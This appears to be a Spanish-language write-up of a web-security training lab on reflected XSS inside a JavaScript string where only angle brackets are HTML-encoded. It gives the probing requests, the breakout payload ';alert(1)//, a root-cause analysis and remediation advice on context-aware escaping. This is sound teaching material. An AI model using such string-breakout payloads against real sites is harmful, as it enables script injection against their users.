← Writeups

Reflected XSS into a JavaScript string with angle brackets HTML encoded

Bypass de codificación HTML en un contexto JavaScript: dentro de una string, cerrar la comilla simple y comentar el resto ejecuta alert(1) sin necesidad de angle brackets.

Target Overview & Vulnerability Summary

El laboratorio contexts/lab-javascript-string-angle-brackets-html-encoded contiene un XSS reflejado en el tracking de consultas de búsqueda. Los angle brackets (<, >) se codifican como HTML, pero la reflexión ocurre dentro de una string JavaScript: el contexto correcto de escape es la comilla simple y el comentario, no el markup.

Campo Valor
Severidad Media-Alta (ejecución de JavaScript en el contexto de la víctima)
Endpoint vulnerable / (parámetro search)
Root cause Reflexión del input dentro de una string JavaScript con solo HTML-encoding de angle brackets (escapado del contexto equivocado)

Technical Breakdown & Exploitation Flow

1. Confirmación del contexto de reflexión

GET /?search=test HTTP/2
Host: <LAB-ID>.web-security-academy.net

La respuesta refleja el input dentro de una string delimitada por comillas simples:

<h1>0 search results for 'test'</h1>

2. Payload de break out de la string

GET /?search=';alert(1)// HTTP/2
Host: <LAB-ID>.web-security-academy.net
  • '; — cierra la string JavaScript.
  • alert(1) — expresión a ejecutar.
  • // — comenta el resto de la línea, neutralizando el cierre de string y el código posterior.

Respuesta reflejada:

<h1>0 search results for '&apos;;alert(1)//'</h1>

Al cargarse la página, el JavaScript interpola ';alert(1)// rompiendo la string: el cierre de comilla del template queda comentado y alert(1) se ejecuta.

Root Cause Analysis

La codificación HTML de angle brackets (< → &lt;, > → &gt;) es una mitigación correcta para contextos de markup, pero insuficiente cuando la reflexión ocurre dentro de una string JavaScript. El HTML-encoding impide inyectar tags, no impide romper la string: en contexto JS el carácter peligroso es la comilla (y en menor medida backslash), no los brackets. La defensa aplicada no se corresponde con el contexto de salida — un clásico flaw de "escapado al contexto equivocado".

La reflectXSS en JS string requiere, al menos, escapar ', ", \ y caracteres de control (\x3c etc.), o usar serialización segura.

Secure Remediation

  • Aplicar escaping al contexto JavaScript (no HTML): escapar comillas simples, comillas dobles, backslash y terminadores de línea antes de incrustar el valor en la string:
const safeSearch = search.replace(/\\/g, '\\\\').replace(/'/g, "\\'");
  • Mejor práctica: no interpolar datos del usuario en JavaScript inline. Enviar el valor como dato en un atributo data-* JSON-serializado o viajar en una respuesta JSON consumida por el frontend.
  • Definir una política de codificación por contexto (HTML, attribute, JS, URL, CSS) en el framework de templates, en lugar de una única codificación global.